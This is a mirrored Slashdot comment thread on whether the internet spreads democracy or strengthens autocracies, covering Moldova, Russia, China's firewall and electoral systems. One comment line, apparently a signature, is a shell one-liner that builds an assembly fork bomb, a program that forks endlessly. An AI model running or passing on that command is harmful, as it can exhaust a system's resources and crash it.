Slashdot Mirror
The Net — Democratic Panacea Or Autocratic Tool?
Alex writes "On April 6, 10,000 protesters organized in Moldova against the nation's Communist leadership by utilizing new media like Twitter and Facebook, demonstrating the ever-increasing potential of the Internet as a democratic and liberating tool. But in the current Boston Review, Evgeny Morozov critiques the view that the internet will inevitably democratize autocratic regimes like China, Russia and Iran. He argues that the Net's democratic effects are not inherent, and that autocratic regimes have been successful in controlling electronic media to disseminate their ideology. Will the net ultimately spread American democracy, or just American entertainment?"
In Moldova, the web (Twitter, etc.) was outside the government's control, hence the citizens control the net. In China, Russia and Iran the net is well inside the government's control. Hence the net (and the government behind it) controls the citizens.
This is why the copyright debate is so important. Who gives a s**t about Mickey Mouse and who watches of doesn't watch him? The real game is who controls what gets seen, heard and written over the Internet. Copyright is just the government's cover and the RIAA-government relationship is a convenient symbiosis.
Though not from Russia, I travel there several times a year for fieldwork, from Saint Petersburg to western Siberia. Yes, the country can be fairly described autocratic. Voices for reform are regularly beaten under the unders of Kremlin-appointed governors, the late Soviet-era practice of putting dissidents in psychiatric hospitals has resumed, the national media is almost entirely under the control of Putin. Then there have been the killings of the greatest critics of Putin, such as Anna Politkovskaya. Every time I go there, the situation seems ever worse than before.
Sure, we want them to be democratic, but we don't want the American system, because your system is shit.
You need a system where minor parties have a greater say. The Australian method is much, much better in this regard.
This is just to hype twitter.
The problem is the security forces are all over twitter, facebook.
Read up on the http://en.wikipedia.org/wiki/Minitel
They where using 'online' to co ordinate national strikes back in the 1980's.
Domestic spying is now "Benign Information Gathering"
The American system may be less democratic than common European systems, as well as Canada's.
However, and most importantly, the American system is more fair than the European system.
In many European countries, small parties can often sit in a centre political position and change the outcome of who becomes Prime Minister, and what parties are going to rule the country for the next 3-4 years or so.
You think a party representing 4% of a nation's people should have the last say in who becomes Prime Minister? Do you think that's fair?
The American system's quirks comes from the fact that it is the world's first modern democracy, some things are bound to change.
Clicked pie.
Do you think democracy has ever been applied? If the Web was left uncontrolled do you think that it would grow democratically or maybe crowds always glue into tribes who delegate to a leader? Can that be called democracy? Are examples like Wikipedia or even Slashdot good products of democracy?
You would be wrong, on both accounts. A party representing 4% of the people can sit in the exact centre of politics, and all the other major parties may already have decided whom they are going to appoint for Prime Minister, and the only votes remaining to win the majority to win the Prime Minister position for each side of the spectrum lies with this small party.
That is the unfairness of actual democracy. Trust me, it has happened before here.
Just because everyone couldn't vote, it was still a democracy, albeit not a perfect one. But there is always room for perfection. But you should not forget that the American democracy has inspired several democracies around the world, which may be different in spirit than the American, but the principle is basically the same.
Clicked pie.
Same democracy that granted the colonies taxation without representation? It might have been functioning, but apparently not very well.
But deep down, the United States of America is a republic rather than a democracy. Its federal levels shows exactly this. Notice how citizens do not vote directly for president?
Sure, that seems unfair, and at worst, 50% of a state's votes can be disregarded because the other half won, and winner takes all. But the electoral college is a method of protecting state's rights. If not, then all candidates should do was campaign in New York and California. I mean, the USA could easily disregard the states down to region level, but then they really won't be the USA any more.
I am no way saying that American democracy is perfect, but the most reason why two parties are the only actual choices is because of voters being stupid and not trying to vote for third parties, I mean, for real, voting for them.
But I will take back that America was the first modern democracy, but it was one of the first. And it is probably the only one with the formula the American system uses.
Clicked pie.
I have always maintained that an essentially two-party system is NOT a democracy. You can see the results in the US, in England, in France to a degree... Political systems like the one in Belgium are more like a democracy, where there are a whole lot of independent parties and new ones can spring up at any time. (a party that is now like two years old already has about 15% of the votes here).
The flipside of course is that it takes longer to get things done, but then again, that is the price you pay for democracy. Either you go with a dictator who can solely decide everything, meaning it takes but a snap decision to change policies, or you go to the other end of the spectrum, a true democracy, where every possible opinion has to be weighed in and a satisfactory conclusion has to be reached. America leans much more towards the dictator regime then the democratic one, whilst most of Europe's political systems lean towards the democratic side.
> Yes, but then you would not be able to eat at *our* McDonalds. Or smoke *our* fine cigarettes
I haven't eaten at McDonalds in years, and I find the smell of cigarettes disgusting.
> And you would have to stop pirating all of our movies.
Oh god no! The horror!
> The price is just to steep for you.
What price? If all I have to worry about is the loss of fastfood I don't eat, cigarettes I don't smoke, and a few movies I might want to see but don't really need (besides, once hollywood is gone it will be replaced, supply and demand and all that), that is not that steep a price at all.
Perhaps, but like with any system, someone will always be there to abuse it. One such abuse in this 4% example would be each side "bribing" their way to the these crucial votes.
Which means, that these 4% will have a lot more say in politics than represents 4% of the people, because they know they have to be satisfied, otherwise they may point to the opposition for the government.
In Denmark, for instance, the Danish People's Party (Dansk Folkeparti) controls about 22 seats in the parliament, they are important for the two governing parties to stay in power, however, this also mean, that despite representing about 15% in the population, they have a large say in what laws get through and how they are written.
Clicked pie.
I'm not sure we all "agree" nor and I sure who "we" are.
The "we" would be the people who live in these democracies, and I think we all agree on which countries are such a democracy and which aren't.
The "western liberal" in democracy is pretty much what seems to be taking rights away and making things less free either directly or indirectly. If you think everyone agrees to that, your crazy.
Nice strawman. Yes, if you look at it from the very narrow perspective of the last seven years, and only in a certain north-american country, then yes, you could get that impression. I was kinda aiming for the larger picture, liberal democracies have been going strong for about 200 years now, and we are richer, happier, and much, much better off than the people living in countries that are dictatorships, oligarchies, theocracies or socialist republics. I'm not saying our system is perfect, but it sure as hell is the best we've seen so far.
Just like American democracy in basic principle is the same as the one of classic Athens.
Only that it's scaled to include a whole bloody continent instead of a city state, and involves some 300 million people, a good 1000 times more than the original and requiring a whole deal less input from the actual people that are supposed to decide how things work.
As this is slashdot people should be quite well aware of the fact that some systems scale like complete shit. Unfortunately, somehow political systems are decoupled from the normal process of carefull design, prototyping and improvement and innovation that normally apply when you're doing, well, everything else, no matter how trivial.
Imagine trying to get a simple majority in a country with 6 or 7 parties. You would never get anything done.
If all seven parties disagree on everything, then no. In most places with political systems like this, that is not the case. You have coalitions of parties where they agree to support each other on everything they agree on, and compromise on the things they don't. It works really well most of the time. Sometimes coalitions break and new ones form, or you have a re-election, but it's not like a system with a lot of political parties gets less done than a system with only two.
Some of us have our own democratic systems not based on the US.
Indeed you do, and the GP was a bit insensitive in that regard, and it's not like the U.S. didn't crib a lot of our legal system from the British and others.
.. and to them for that matter.
However, the current lingua franca for a good part of the industrialized world is English. Both the British Empire followed by American economic hegemony made a working knowledge of English a requirement for many people. That's been the case all throughout history, however: the dominant economic power's primary language is learned by others because they wish to do business with it.
Now, my understanding is that China currently has more people learning American English than there are people actually in the United States. If that's literally true, China may have a hard time keeping itself culturally and politically intact. Up 'til now, there was a considerable language barrier that existed between China and the rest of the world. Once a significant number of Chinese speak English, China may find it hard to keep all those evil Western ideals away from their people. Besides, many of their people have had a taste of what industry can do for them
The Great Firewall can only do so much. People can still talk, and since they wish to become a global superpower they're going to have to let them talk to people from other countries. In fact, they are planning for that. Sooner or later, this will have some effect: what that will be I can't say, but any way you slice it, China will never be the same again.
Still, the way things are going, we may all be studying Mandarin just to keep up.
The higher the technology, the sharper that two-edged sword.
It's not really Western either. The richest countries in Asia - Japan, Taiwan, and South Korea are democracies and likely to stay that way. Places like Malaysia and the Philipines are more likely to end up democracies than anything else. Actually most of Asia, apart from China and its neighbours are counted as free or partly free according to Freedom House
http://www.freedomhouse.org/uploads/fiw09/MOF09_AsiaPacific.pdf
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
As a preamble, I'm married to a Russian -- have traveled there a number of times -- so I know just enough to be misinformed :-)
I'll add to what you write that Putin also appears to enjoy the support of a significant majority of Russians -- including most of the Russians I know (both there and here in Canada).
(I just know someone is going to godwin this thread -- trains running on time etc... :-) )
Ian Ameline
Which ones are they then? Is it the surveillance country without free speech that the UK has turned into? Or the my economy collapsed 20 years ago and there is unemployment through the roof which is so bad that there are riots in the street several times a year France? Please tell me where this liberal democracy has done more then just lip service. Sure, you have individual rights, but can you actually say that anyone is free? Or more free then they were 20 years ago?
Nice strawman indeed. If this isn't the pot calling the kettle black. The last seven years has nothing on what I said and the north American country your referring to wasn't even on the radar. Perhaps you should look into what your actually saying a little more but life isn't what you think it is.
...how do you explain the psychopaths who currently wield power...
Because when we were children our parents would beat us if they caught us playing with ourselves..
Todos mis movimientos están friamente calculados
Some of us have our own democratic systems not based on the US.
The fact is that the rest of us have our democracies based either on the French Republic + 200 years of bug fixes, or on English parliamentarianism[1] + the very same byg fixes
The USA is a pre-alpha fork of the same system. And Since the USA does not fix bugs[2], no-one else wants to adapt that fork.
[1] Nice long word, isn't it.
[2] It's better than anything that went before so why fix it?